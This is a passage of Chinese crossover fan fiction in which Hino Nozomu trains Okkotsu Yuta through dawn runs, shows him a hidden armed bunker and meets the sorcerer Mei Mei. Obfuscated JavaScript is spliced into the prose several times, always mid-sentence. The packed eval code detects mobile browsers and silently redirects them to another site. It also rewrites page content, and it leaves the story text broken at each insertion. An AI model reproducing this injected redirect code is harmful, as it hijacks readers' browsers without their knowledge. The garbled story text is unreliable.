“可以说你现在已经落在我手里,想要将你搓扁揉圆,也就是一个念头罢了。” 乙骨忧太一懵,显然没料到会有这样的可能。 不过他还是摇摇头,用纯然信任的目光看着日野望,斩钉截铁地说:“我相信哥哥。” “你就这么信任我吗?就不怕我是个坏人?迄今为止表现出来的友善,都只是诱使你跳下陷阱的伪装?” “我相信哥哥!” 乙骨忧太没有丝毫动摇。 “……唉。” 日野望揉揉眉心,叹气,不急不忙地把蠢蠢欲动的里香按了回去。 乙骨忧太这么信任自己,日野望是很欣慰没错啦,但对方一点怀疑都没有,又让日野望开始替他感到操心了。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14097957|149662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么容易交付信任,一点戒心都没有,要是他突然闪现来个背刺,那可怎么办? 要知道,他们可是已经有八年没见了,谁能保证日野望一点都没变,还是乙骨忧太以前那个友善且绝对不会伤害他的邻家大哥哥呢? 日野望自己都不敢打包票。 唉,还得慢慢教才行。 临别时,他对乙骨尤奈说,他会教乙骨忧太变得更强大,这当然不是一句空话。 那么所谓的强大,仅仅是指对身体素质的提高以及对超自然力量的掌控吗? 不是的。 相比来说,日野望认为思想上的成熟与心灵上的强大,才是他真正该关注的地方。 如果没有强大的精神内核支撑,即使拥有再强大的力量,也无异于稚子手握热武器,对己对外都具有极大的危害。 不过这些都急不来。 想了想,日野望斟酌着开口道:“既然如此,我也不想辜负忧太的信任。接下来的日子里,我可能会给忧太传授一些我的个人经验,以及帮你学着如何提升自己的实力。” “不过前提是你愿意,而且不怕吃苦。” 乙骨忧太顿时正襟危坐,表情也认真了起来。 “我愿意,我也不怕吃苦!” 日野望再次确认:“我不骗你,真的会很辛苦。而且,一旦开始正式训练,除非你自己放弃,否则我是不会主动叫停的,别指望我会心疼你。” 乙骨忧太用力点头,态度坚决:“当然!” 或者说,他不怕日野望对他提要求,就怕他对自己没要求。他最终的目标,可是要朝着日野望身边走去的。 日野望收敛情绪,像一台冰冷而精密的仪器,审视着眼前的乙骨忧太,似要将他看穿。 “还是想要走到我这边来?” “当然!” “哪怕抱着必死的觉悟?” 乙骨忧太握紧了放在膝盖上的手,郑重其事地点头。 “是的!” 日野望认真地看了他两眼,最后颔首道:“不着急,接下来的几个月里,先让我看看你的决心。” 12.第 12 章 晚上,日野望叮嘱乙骨忧太早点睡。 “嗯。”明天工作日,乙骨忧太要去上学。他还以为日野望是在提醒他这个。 但他没想到的是,日野望说:“明天到海边看日出吧。” “咦?好啊。”虽然不知道日野望为什么心血来潮说要去看日出,但……乙骨忧太没有意见。 或者说,哥哥的意见就是他的意见。 日野望托腮看了他两眼,感觉他就像个软乎乎的面团,任人搓扁揉圆。 于是他直接上手,捏脸。 乙骨忧太乖巧任捏,那双眼睛像水洗过的一样,眼神温润而清澈,毫无反抗之心地看着他。 嘶……不行,这也太乖了吧?肯定会被欺负的啊。 日野望一边这么想,一边得寸进尺地给他捏了个小鸡嘴出来。 “……噗。” “……” 乙骨忧太眼巴巴地看着他。明明什么都没有说,但就是让人觉得弱小无助又可怜。 日野望目移,松开手,接着跟没事人一样,一本正经地说:“好了,我还有点事,先去书房了。记得今晚早点休息,明天我会算好时间叫你起床的。” “好的,晚安,哥哥。” “晚安。” 翌日,天还没亮,日野望敲响乙骨忧太的房门。 “忧太,起来了吗?” 等了一会儿,门开了。 “早。” 日野望微微一笑,揉揉少年睡得四处乱翘的头发。 他今天少见地穿了一身运动服,身后还背着一个双肩包,像个要去参加社团晨训的男子高中生。 乙骨忧太睡眼惺忪地和他打了个招呼:“早,哥哥……我睡过头了吗?” “不,时间刚好。换身方便运动的衣服,我们出门晨跑吧。” ……等一下。 乙骨忧太顿时清醒。 “不是说要去看日出吗?” “对啊。”日野望露出微笑,但怎么看都觉得不怀好意。 “不过我们跑着去。” 乙骨忧太:“???” 从他们现在这个地方到海边,开车都要半个小时,跑步过去要多久?他是不是听错了? 日野望用行动告诉他,没听错。 收拾好出门,钟表上的时间才四点多。 六月的凌晨仍有凉意,穿着宽松短袖的乙骨忧太刚踏出门,就被夜风吹得打了个寒噤。 日野望带着乙骨忧太在院子里做了套简单的热身运动。等身体活动开,他就一马当先跑在了前面,Picci也展开翅膀,飞向空中。 “跟上来。” “嗯!” 乙骨忧太平时很少运动,身上基本没有锻炼过的痕迹,因此体能上并不突出。 一开始他还能与日野望并肩齐跑,没多久呼吸就开始乱了,脚步也变得沉重拖沓,速度明显慢了不少,渐渐地与日野望拉开距离。 冷空气吸入肺部,刺激得整个呼吸道跟针扎一样。腿脚酸软,重得像绑了铅块,都快不听他使唤了。 饶是如此,他也咬牙紧紧跟在日野望身后,跑得再慢也不曾停下脚步。 日野望同样慢下来,打着拍子出声指点:“腿抬高,步子再迈大点!目视前方,调整呼吸,配合脚步,注意节奏!听我指挥,吸气——呼气——很好!” “……” 乙骨忧太喘着气照做。 日野望吹了个呼哨,原本飞在他们头顶的Picci也降低高度,来到乙骨忧太目之所及的位置,领着他们一步步往海边跑。 四周的景象在视野中模糊,多余的声音也无法传递到他的耳中。 他能看到的,是飞在他前方不远处的白鸽,能听到的,是陪在身边指导和鼓舞他的声音。 有Picci在前方领路,他不用担心自己会偏离方向。有日野望陪在他身边,他也不必害怕黑夜的孤寂,还有了放开一切追逐远方的勇气。 他们离他这样近,似乎只要再坚持坚持就能伸手碰到,再坚持坚持就能与他们一起抵达终点。 乙骨忧太抛开外物,放空大脑,就看着飞在前方的Picci,全力以赴地追着它往前跑。 他很累,但是他不想放弃! 他不能停下来,不想停留在过往死水一般的日子里,总是孤零零的一个人。 他也不能要求身边的人停下来等着他。他要主动往前跑,往前追,而且速度不能太慢,太慢也会被拉开距离,最后还是会被扔下! 平时没怎么锻炼过的身体很快达到极限,无力的四肢在叫嚣着让他放弃,可是他并不甘心。 昨天日野望就跟他打过预防针,提醒他训练会很辛苦,而且一旦开始,除非他自己放弃,否则是绝对不会叫停的。 日野望虽然没明说晨跑是训练中的一项,但他们彼此心知肚明。 要是乙骨忧太连晨跑都坚持不下来,那后面的训练谈何继续? 而且,如果他在这里停下来了,在日野望眼里,是不是代表着他宣告放弃? 给出的机会都把握不住,他还有什么资格进入日野望所在的那个世界,去到他的身边? 他不甘心! 心脏用力搏动着,这些年来积累的负面情绪在燃烧、在咆哮,从中提炼出的力量以肚脐为起点,源源不断地涌出,流经胸口,与泵出的血液一起流淌到四肢百骸。 乙骨忧太无师自通地将咒力覆盖到身体各处,四肢得到加强,呼吸渐渐平缓,心跳更加沉稳有力,就连大脑都清晰了不少,整个人变得轻盈了很多。虽然还是会觉得累,但在他的忍受范围内。 眼看露出颓势的乙骨忧太再次发力,速度加快的同时,呼吸变得更加充分且均匀,明显找到了自己的呼吸方式和节奏。 最关键的是,日野望能明显感受到从他身上不停溢出,如同汹涌的潮水一般的“能量”。那种能量快速冲刷着乙骨忧太的身体,给予他新的支撑,提供给他更多的力量。 这让日野望稍微有些惊讶。 乙骨忧太状态进入得比他想象中快。 本来他预留了一周的时间来指导乙骨忧太晨跑,锻炼体力耐力是一方面,最主要的是看他能不能在极度疲惫的状态下压榨出身体的潜力,抓住突破极限的瞬间,进入“专注集中”的状态,引导出潜藏在身体里的那部分力量。 虽然他不是咒术师,不知道怎样才能将乙骨忧太往这个方向培养,但他掌握着名为“火焰”的力量,有类似的经验,自然知道该如何引导出蕴藏在人体内的力量。 咒力和火焰都是人体能量的一种,就潜藏在人的身体里面,只要想办法将其激发并引导出来,那么第一阶段的训练目标就达到了。 只是日野望没想到,这个目标达成得比他预料中还要快。 说是预留了一周的时间,可考虑到乙骨忧太还要上学,排除他完成课业和平时的休息时间,每天能占用的也就不到四个小时。周末时间多一点,每天算八个小时。加起来,真正留给他的时间最多三十六个小时。 这三十六个小时内,如果乙骨忧太无法顺利激发体内那股力量,那在日野望看来,他最好还是不要越过那条线,安安稳稳地做个普通人最好。 在拥有超自然力量的世界里,想要活得自在点,那是需要天赋的。 这里的天赋不是指单纯的点燃火焰或是看见咒灵,那不过是进入相应世界的门票,只有这样的程度还不够。 那个世界之所以精彩无比、光怪陆离,是因为里面最不缺的就是各种各样的天才,乃至天才中的天才。贸然闯进去的“普通人”,连寿终正寝都是奢望。 所以,就算乙骨忧太从小拥有“看见”的天赋,具有成为咒术师的可能,日野望还是给他定下了感触体内力量的时间。 这个时间也不是他一拍脑门就决定的。 彭格列门外顾问的一员,拉尔·米尔奇,曾任意大利特殊部队的教官,教导出了被诅咒的最强婴儿之一的可乐尼洛。作为一名严格的教官,拉尔本人给出的判定标准是三十个小时。 也就是说,依照她的判断,一个合格的黑手党点燃火焰至少需要三十个小时。而在此时限内达成的,无疑就是个中天才。如果在一小时内完成,那就是天才中的天才。 日野望就在拉尔的判定标准上给乙骨忧太放点水,时限再加上六个小时。如果乙骨忧太达不到天才的标准,干脆就别踏足那个世界了。 嘶……可这才多久?出门到现在半小时都没有吧? 如果说之前对乙骨忧太涉足那个世界持反对态度,那日野望现在就稍微有些期待了。 他想知道乙骨忧太的极限在哪里,他能做到什么地步,最后又能达到什么样的高度。 日野望的好奇心和期待感已经完全被吊起来了。 乙骨忧太并不知道邻家哥哥的心境转变,只知道前方领路的白鸽突然一个振翅,飞到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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阳光给俊美的少年勾勒出一身金边,让他看起来比天边的太阳更加耀眼夺目、闪闪发亮。 乙骨忧太抱着膝盖,半张脸埋进双臂之间,只露出一双被光衬得亮晶晶的眼睛。 “嗯,很不错。” 看完日出,两人没多停留,毕竟乙骨忧太还要上学,回去的时候选择了坐车。 洗完澡吃完饭,日野望毫无心理负担地回房间补觉,乙骨忧太苦哈哈地拖着疲软的身体,背着书包去上学。 当然,日野望也没那么不做人,放学的时候特意来校门口接乙骨忧太,准备带他去吃烤肉,算是对他今天表现不错的嘉奖。 他穿着蓝白双色的休闲装,清新靓丽得像一道风景线,吸引了不少目光。 乙骨忧太一眼就看到他了。 应该说,在一群穿着制式校服的国中生里,他就是那样鹤立鸡群,很难不被人注意到。 “哥哥,你怎么来了?” 乙骨忧太眼睛一亮,脚步轻快地来到日野望面前,让后者不由幻视摇着尾巴朝他跑来的活泼小狗。 “带你去吃烤肉,作为今天表现优异的嘉奖。” 比起吃烤肉,日野望真心的夸赞明显更让他感到高兴,就是被夸得有些害羞过头,脸都红了。 “今天这种程度的训练能接受吗?” “能。” 今天的晨跑虽然累,但他得到了锻炼,和日野望一起看了漂亮的日出,心情前所未有的舒畅,所以乙骨忧太并不讨厌这样的活动,甚至希望之后还会有。 当然,日野望满足了他这个愿望。 第二天早上同样的时间,日野望敲响了乙骨忧太的房门,并把浑身酸痛差点爬不起来的乙骨忧太拖出家门。 “今天的目标是到仙台城遗址看日出!” “啊?要去青叶山吗?” 乙骨忧太瞳孔地震。 那里比海边还要远啊,而且还是在山上! 他温柔和善的邻家大哥哥露出了魔鬼般的笑容:“既然第一天的训练顺利完成,那么今天当然要给忧太加大难度啦!” “……” “有意见吗?^^” “……没有QAQ” 13.第 13 章 从青叶山回来,乙骨忧太觉得自己快变成废人了,摊在沙发上都不想动弹。 日野望在旁边发出魔鬼般的声音:“这样的强度也坚持下来了,想来是远远未到忧太的极限。” 言外之意,还得给他加强度。 乙骨忧太:QAQ 看他泪眼汪汪又不敢提出反对意见,日野望忍不住笑出声,摸摸头安抚道:“开玩笑的。现在这个程度就差不多了,不然就要耽误你上学的时间了。” ……对哦,他还得去上学。 乙骨忧太想想就觉得更悲伤了。 这个时候,日野望蹲下身,上手捏了捏他紧绷的小腿。 乙骨忧太就跟触电一样,反应极大,差点一脚踢到日野望身上。 日野望早有预料,顺势抓住他的脚踝,另一只手轻轻揉捏小腿肌肉,不慌不忙地一边示范一边说道:“像这样按摩一下,能缓解肌肉酸痛……学会了吗?” 他抬头一看,乙骨忧太脸涨得通红,愧疚又懊恼地说:“对不起,哥哥,差点踢到你了。” “行啦,肌肉酸痛的时候稍微碰一碰就跟针扎似的,反应过激很正常。你先按照我教你的手法揉一揉,我去给你拿毛巾热敷一下。” “嗯、嗯!” 乙骨忧太小鸡啄米似的点头。 日野望端来热水和毛巾,一边给他做热敷的准备,一边问他跑步时的感觉。 “能感受到力量在身体里的流动吗?” “嗯……确实能够感受到。不过那股力量给我的感觉,明显与哥哥的火焰不太一样。”乙骨忧太的手放在胸口上,若有所思地说,“所以,那就是咒力吗?” 火焰是人体内的生命能量,咒力则提取自人体溢出的负面感情,两者给人的感觉肯定是不同的。 显然乙骨忧太和咒力体系的相性更好,尽管早有预料,但真当结果出来后,日野望还是有些遗憾。 毕竟,他不是咒术师,肯定是没办法将乙骨忧太的潜力给全部挖掘出来。后者想要学习和掌握更多的相关技巧,未来必然是要进入咒术界的。 日野望其实也想体会一下将豆芽菜培养成大BOSS的滋味,过程肯定很有趣,结果也很有成就感。 质疑里包恩,理解里包恩,成为里包恩! 奈何,现实不给日野望这个机会,他只能给乙骨忧太另找老师了。 不过转念一想,能亲手发掘出一个超级天才,亲眼看着他成长起来也不错。 乙骨忧太当然不知道日野望的想法。 热毛巾贴上皮肤的瞬间,他忍不住瑟缩了下。 “烫到了?” “不……没有。” “哦。”他就说嘛,这个温度应该没问题的才对。 既然如此,日野望继续低头给他热敷。 乙骨忧太不是第一次从这个角度观察日野望。 小时候,日野望也曾像现在这样,半跪在他身前,给他系鞋带。 「先这样……再这样……最后这样……好了,学会了吗?」 「啊?哦,好像没有,嘿嘿。」 「……笨蛋吗?系鞋带这么简单,你学不会怎么办?」 「有哥哥帮忙嘛。」 「要是你鞋带开了,我又不在怎么办?」 「那我就去找你啊!」 「……你还真是有够理直气壮的啊。」 「哼哼。」 或者给他摔伤的膝盖消毒上药。 「又看到那些东西了?」 「嗯……」 「不是说过,遇到的话就当做没看到,或者干脆闭上眼睛在原地等我吗?闭着眼睛跑什么呀,膝盖都摔破了。」 「可、可是,哥哥不在身边的话,我害怕……」 「好吧,别哭了,眼睛该肿了。我带你去买冰淇淋,想吃什么味道的?」 「巧克力的!」 「那先说好,不能多吃,否则又会闹肚子了。」 「嗯,我和哥哥分着吃。」 一大一小的声音渐渐远离,乙骨忧太的心神再次落在眼前的少年身上。 日野望有着一副让人想亲近的相貌,却没有一个让人想亲近的性格。 在不熟悉的人面前,他哪怕是笑着也让人觉得冷淡,距离感十足,叫人不敢轻易靠近。 这样就显得让他另眼相待的人格外特殊。 曾经乙骨忧太笃定自己是其中的一员。 如今乙骨忧太希望自己是。 他将日野望的身影框进眼里,不错眼地看着,像要将他的样子深深刻在脑海中。 要是能一直这样下去就好了。 他突然生出了这个念头。 “怎么,又在开小差了?” 日野望的声音打断了他的思绪。 “啊,嗯……” 乙骨忧太似吓了一跳,眼皮颤动,匆匆别开了脸。 日野望无奈。小时候教他系鞋带不认真,现在教他怎么热敷按摩也走神。 于是抬手敲了他的脑门一记,起身端走了毛巾和热水。 “收拾一下上学去吧。” “哦……” 乙骨忧太摸摸鼻子,从沙发上起身,走了两步,觉得腿脚轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14152364|149662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松很多。 - 乙骨忧太上学后,日野望补了个回笼觉。中午,他拎着银白色的手提箱出了一趟门。两个小时后,开回来一辆路虎。 这是他爸曾经的爱车,经过改造,性能一流。出于某些不可言说的缘由,他爸将车停在了秘密仓库,而不是家中的车库。 该车在秘密仓库放置了八年,风纪财团的人来送快递那天,日野望就让他们帮忙弄回去检修保养了一番。 那边的动作很快,第二天就把车给他开回来了,车钥匙依旧放在仓库原来的地方。 今天之前,日野望没用车的地方,就没将车开回来。之后就说不定了。 顺带一提,这个仓库同样也是日野望和冥冥约定的见面地点。日野望提前过来踩个点,做了一点小小的准备以防万一。 另一边,学校里的乙骨忧太度过了心惊胆战的一天。 昨天出现在校门口的日野望引发了同学间的讨论热潮,他和乙骨忧太之间的互动被不少人看在眼里,其中当然包括了乙骨忧太的同班同学。 自认是班级透明人的乙骨忧太实在难以招架同学们旺盛的好奇心,还要担心里香跑出来伤人,躲躲藏藏,好不容易捱到了放学。 靠近校门的时候,他下意识地往外面扫了一眼,没找到那个熟悉的身影,心情微微有些低落。 “咕!” 乙骨忧太猛地抬头,看到从半空中飞过的白鸽。 是Picci! 他抬脚追了上去,下个路口拐了个弯,看到一辆陌生的汽车。 驾驶座的车窗降下来,露出了日野望的脸。 他招招手:“忧太,上车。” 乙骨忧太眼睛一亮,打开车门坐进副座,快速系好安全带。 车辆启动,乙骨忧太没有问要去哪里,只是好奇地观察车子内部。 这辆车从外面看着粗犷硬朗,内饰倒是精致内敛。不过总觉得不是日野望喜欢的风格。 “哥哥买新车了?” 日野望摇头:“我爸以前的车,平时很少开,停在另外一个仓库里。前两天送去检修了,想到之后会用到就开回来了。” “哦。”难怪。 乙骨忧太看着窗外,见不是回家的路,这才问:“我们要去哪?” “先去吃饭,之后就去码头的仓库。和咒术师见面前,我先交代你一些东西。” “交代什么?” “到地方再说。” “哦。” 略过这个话题,日野望转而问他:“想吃什么?” “哥哥决定就好。” 14.第 14 章 太阳西落,余晖将仙台港渲染成了晦暗的绯红色。 今日的仙台港比平时还要安静,除了海鸟的嘶鸣就是浪潮冲刷海岸的声音。 道路尽头,驶来一辆黑色的路虎,打破了傍晚的寂静。 车子在一座不起眼的旧仓库前停了下来,日野望在触控屏上点了两下,仓库的电动卷帘门就升了上去。 车灯照亮了仓库内景,日野望将车开进去,流畅地停在了划了线的车位上。 “下车吧。” “嗯。” 日野望打开车锁,转身去拿放在后座的银白色手提箱。 乙骨忧太先从车上下来,借着车灯观察了一眼这个仓库。 应该是清扫过,仓库里并不脏乱,也没什么灰尘。前面空出一小片地方用于停车和放置杂物,剩下的空间摆满了高大的货架,上面放置着大大小小各种型号的纸箱。 “Picci,去外面盯梢。” “咕!” 白鸽振翅飞出仓库,日野望关上车门,拎着手提箱,一马当先走在前面。 “忧太,来这边。” “哦!” 日野望带着乙骨忧太走到左侧往里数第七个货架前,将手提箱交给他。 “记住这个地方。” 日野望提醒了他一句,然后搬开货架底层右数第二个纸箱,露出被藏在下面的触控面板,抬手按了上去。 “滴——” 一声轻响,货架整体往后移动,一个连接了长长楼梯的地道口出现在他们面前。 “咦?” 乙骨忧太惊奇地看着以往只能在电视或荧幕里见到的一幕。 “来。” 日野望率先走了进去。 踏进去的一瞬间,楼梯两侧的声控灯亮了起来,照亮了他们脚下的路,以及楼梯的尽头。 楼梯大概三十阶,尽头是一个三叠大小的平台,四周由银白色的合金铸造,正面矗立着一道冰冷厚重的金属大门。 大门旁边同样有一个触控屏,日野望屈指在上面敲了三下。 屏幕上浮现出一串字母。 乙骨忧太看了一眼,小时候跟着日野望学过一些意大利语,勉勉强强认出其中几个单词。 “身份确认?” “嘟嘟!” 猩红的感叹号跳出来发出警告。 墙壁两侧和天花板上的机关窗打开,三个冰冷的枪口瞬间对准了站在平台中间的两人。 “!” 乙骨忧太瞳孔地震,下意识地看向一旁的日野望。比起害怕受伤,更多的是担心做错了事。 他那魔鬼般的邻家大哥哥挑了下眉,收起打量的目光,这才不慌不忙地开口:“301,转换日语模式,重新进行身份确认。” “嘀嘀!” 两道短促的提示音响过后,一道机械的电子女声响起来:“声纹确认,日语模式确认。欢迎回到301基地,请吩咐。” ……还以为坏事了呢,还好还好。 乙骨忧太拍拍胸口松了口气。 这个时候他也意识到,某个人就是想看他的热闹才没提醒他的。 回头一看,日野望脸上果然写满了“居然没吓到人”的遗憾。 乙骨忧太:…… 日野望轻哼一声,发出新的指令:“301,录入新身份。” “了解,身份档案建立中,请于滴声后说出您的姓名。” 日野望往旁边让开一步,示意乙骨忧太上前。 “滴。” “乙骨忧太。” “了解,当前进行乙骨忧太先生的档案录入,声纹已确认。请乙骨忧太先生于滴声后将手掌置于触控屏,进行掌纹录入。” “滴。” 乙骨忧太把手放上去。 “滴。” “掌纹已录入,请将手掌移开触控屏。” 乙骨忧太照做。 触控屏上亮起“档案录入成功”的日语。 “尊敬的乙骨忧太先生,欢迎您来到301基地,我是基地电子管家301,有事请吩咐。” 乙骨忧太这次不敢贸然开口了,他看向日野望,询问他下一步该做什么。 日野望没看他,指着三把枪,挨个给他介绍。 “左边这挺是美国M249轻机枪,优点是耐用且火力大。口径5.56毫米,有效射程1000米,枪口初速915米/秒,每分钟大概能射出1000发子弹。换句话说,站在原地发呆三秒钟,身上能多出五十个弹孔。” “……”乙骨忧太额冒冷汗。 “右边这把是M134重机枪,现代版的加特林,口径7.62毫米,有效射程800米,射速约6000发/分钟,火力猛,弹速快,一般是装在武装车辆、舰船和飞机上的,有着‘迷你炮’的美称。” “嘶——”乙骨忧太倒吸一口冷气。 最后,日野望示意他抬头看天花板。 比起左右两侧的机枪,这把枪的外形结构更加简洁流畅,看起来平平无奇。 “雷/明/顿870霰/弹枪,有效射程40米,口径18.53毫米,子弹比手指头还粗。如果说另外两把机枪能把人射成筛子,那么在这个距离下,这把枪只需要一发子弹……” 日野望的手指轻轻点在乙骨忧太的眉心,微微一笑。 “你的脑袋就会炸开。” “……咕噜。”乙骨忧太咽了下口水。 充分认识了这些枪械的厉害,但出于对日野望的盲目信任,乙骨忧太丝毫没有会受到攻击的危机感。 日野望又弹了一下他的脑门。 “这些知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14174433|149662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识要慢慢积累起来,说不定以后就会用上。尽管我希望你一辈子都用不上,但……以防万一嘛,总比遇到了一无所知要好。” 日野望在触控板上一番操作,将三把枪收了回去。 “不过就算是这些东西,对相当一部分人来说,也就是件玩具。能躲子弹,甚至能徒手抓子弹的人都不在少数。这些威胁不了他们的东西,却能重创到现在的你。” 说着,日野望转身面对乙骨忧太,表情冷淡,给出最后的警告:“我再说一遍,那个世界没那么简单,想要退缩的话,趁现在还可以提出来。” 乙骨忧太目光坚定地说:“我不会退缩的!” 日野望叹了口气,拍拍他的脑袋,抬脚往楼梯上走。 “希望你以后不会后悔。” “不会的。”乙骨忧太小跑追上去,轻声说:“哥哥可以对我有点信心。” “这不是信不信心的问题。” “我知道,是担心我嘛。” “……啧。”竟敢还嘴,倒反天罡! 日野望不爽地抬手又弹他一个脑崩。 乙骨忧太摸摸留下红印的额头,非但不生气,还有点小开心。见日野望不说话了,他又巴巴地追问:“对了,我们不进去吗?” “等咒术师到了再进去。” “里面有什么?” “进去后就知道了。” “录入身份档案有什么用?” “意味着你可以自由进出,今后这里会是你加强训练的地方。” “这样啊……” 乙骨忧太恍然大悟。 一问一答间,两人走出了地下通道。 时间刚好,白鸽Picci飞了进来,在他们头顶盘旋两圈后,收拢翅膀降落在乙骨忧太肩上。 “人来了?” “咕!”白鸽点头。 “辛苦你了,Picci。”乙骨忧太摸摸它的羽毛。 “咕!”白鸽骄傲挺胸。 日野望开了灯,照亮了整个仓库。 空中盘旋的乌鸦降落在方便观察的地方,远远地走来两个身影,一高一矮。 高个子是与日野望有过一面之缘的冥冥,矮个子的还是个不大点的小孩,发色与冥冥相同,面容也有相似之处,一看就知道两人有血缘关系。 今天日野望和冥冥提前通过电话。除了确认见面的时间和地点外,冥冥还提到,她会带一个助手过来。特意强调过助手不用加钱,同样也会对这次委托保密。 日野望当然是同意了。 就是没料到她的助手年纪这么小。 考虑到彭格列雷守五岁时就揣着炸弹当杀手,再看到这样一个小孩给冥冥当助手,日野望丝毫不觉得惊奇,只是心中感慨。 小小年纪就开始打黑工,啧啧,又卷又可怜。 15.第 15 章 日野望今天的穿着与在机场初见时类似,黑西装白手套,精致又体面,从容镇定地等候两名咒术师的到来。 冥冥微微一笑,率先打了个招呼:“晚上好。” “晚上好。” 日野望颔首,旋即视线落在她身旁的男孩身上。 作为被雇佣方,冥冥十分上道地向雇主介绍了自己的小助手:“这是我弟弟,同样也是我的助手,忧忧。” 忧忧矜持点头:“你们好。” “你好。”日野望平静地收回视线,继而为双方进行介绍:“他就是我在电话中提到过的乙骨忧太。忧太,这位是一级咒术师冥冥小姐。” 乙骨忧太还在纳罕忧忧的年纪,听到日野望的介绍,赶紧回神打招呼:“你、你们好!请多指教!” “你好。” 冥冥简单打了个招呼,拨开挡在眼前的头发,意味深长地说:“这可真是不得了啊。” “嗯?” 日野望眼神一闪,瞬间听出了她的言外之意。 “很麻烦吗?” “应该说,很棘手。” 日野望不说话了。 让一级咒术师都觉得棘手,看来这件事没他想的那么简单。 乙骨忧太不是听不懂。 他看着沉默思索的日野望,突然变得很紧张,同样也感到无措。 这个时候,忧忧开口问道:“还没靠近就感受到你身上那个诅咒的强大了,你是怎么活到现在的?” 忧忧不是在开嘲讽,而是真的很好奇。 怎么活下来? 乙骨忧太摸摸鼻子。 呃……他能说靠近他的一切危险因子都会被提前排除吗?还是他们口中的“强大诅咒”亲自动的手。 连自我伤害都没办法做到,简直安全得不能再安全了。代价则是身边的人没了安全。 乙骨忧太正准备解释,日野望却开口说:“在了解具体情况之前,先来立下‘束缚’吧。” “呵呵,你很懂嘛。”冥冥并不觉得意外。 作为一名自由的一级咒术师,她经常接私活,遇到过各种各样的委托人。虽然任务可能不同,但很多时候委托人都会加上同一个附带条件——保密。所以她都习惯了。 “那么‘束缚’的内容呢?” “一、不能采用任何方式泄露本次委托的具体内容及细节;” “二、不能利用这次委托对乙骨忧太造成任何不良影响;” “三、委托结束后,不能留下与此次委托有关的一切记录。相关资料必须交给我确认后进行销毁。” “可以。”冥冥爽快地答应,和忧忧一起立下束缚。 乙骨忧太有些摸不着头脑。 只要复述一遍达成口头协议就行了吗? 他还不能很好地隐藏自己的想法,疑问几乎写在脸上了。 “束缚是术师之间的誓言与制约,可以同他人签订,也可以对自己立下。”冥冥呵呵笑着解释说,“从结论来说,束缚一旦立下就不能轻易违背。” 乙骨忧太下意识地问:“如果违背了呢?” 忧忧面露不善:“你想让姐姐违背束缚?” 乙骨忧太连忙摆手:“啊,不,对不起!请别误会,我只是有些好奇……” 冥冥摸摸弟弟的脑袋,好脾气地说:“我明白。不过我可以明确回答你,违反束缚会受到严厉的惩罚。具体什么样的惩罚没人知晓。” “咦?” “因为从来没人敢违背束缚,包括那些半吊子的诅咒师。或者说,可能存在违反束缚的家伙,但是从来没人知道他们的下场。明白我的意思吗?当然,如果你有把握钻空子,那也相当于没有违背了。” 原来是这样啊……受教了。 乙骨忧太若有所思地点点头。 立下束缚后,乙骨忧太才在日野望的授意下,将里香车祸后变成诅咒跟在他身边的事情叙述了一遍。 冥冥耐心听完,提问:“那个叫里香的女孩子也具有‘看见’的天赋吗?” 乙骨忧太摇头:“没有,里香看不见那些东西。” “确定车祸是普通事故,而不是诅咒所为?” “当时没看到周围有咒灵。” “那么她有没有接触过奇怪的东西呢?” “奇怪的东西?” “比如被灌注了诅咒,或者受到某些不详事件影响的物品。这类物品我们统称为咒物,通常外形比较奇怪,或者用复杂的符咒封印着。” 听完冥冥的描述,乙骨忧太仔细想了想,摇头说:“没见过。如果有那种东西的话,我想里香应该会告诉我的。” 冥冥继续问:“那车祸现场有没有让你觉得奇怪的人?” “没有。” “确定吗?那可能受到操控的东西呢?” 说着,冥冥抬起手,一只乌鸦飞了下来,停在她的胳膊上。 “比如对方可能没有亲身出现在现场,而是通过术式操控动物、机械、甚至是一切不引人注意的东西靠近你们。” “……” 沉默几秒,乙骨忧太干巴巴地给出回答: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 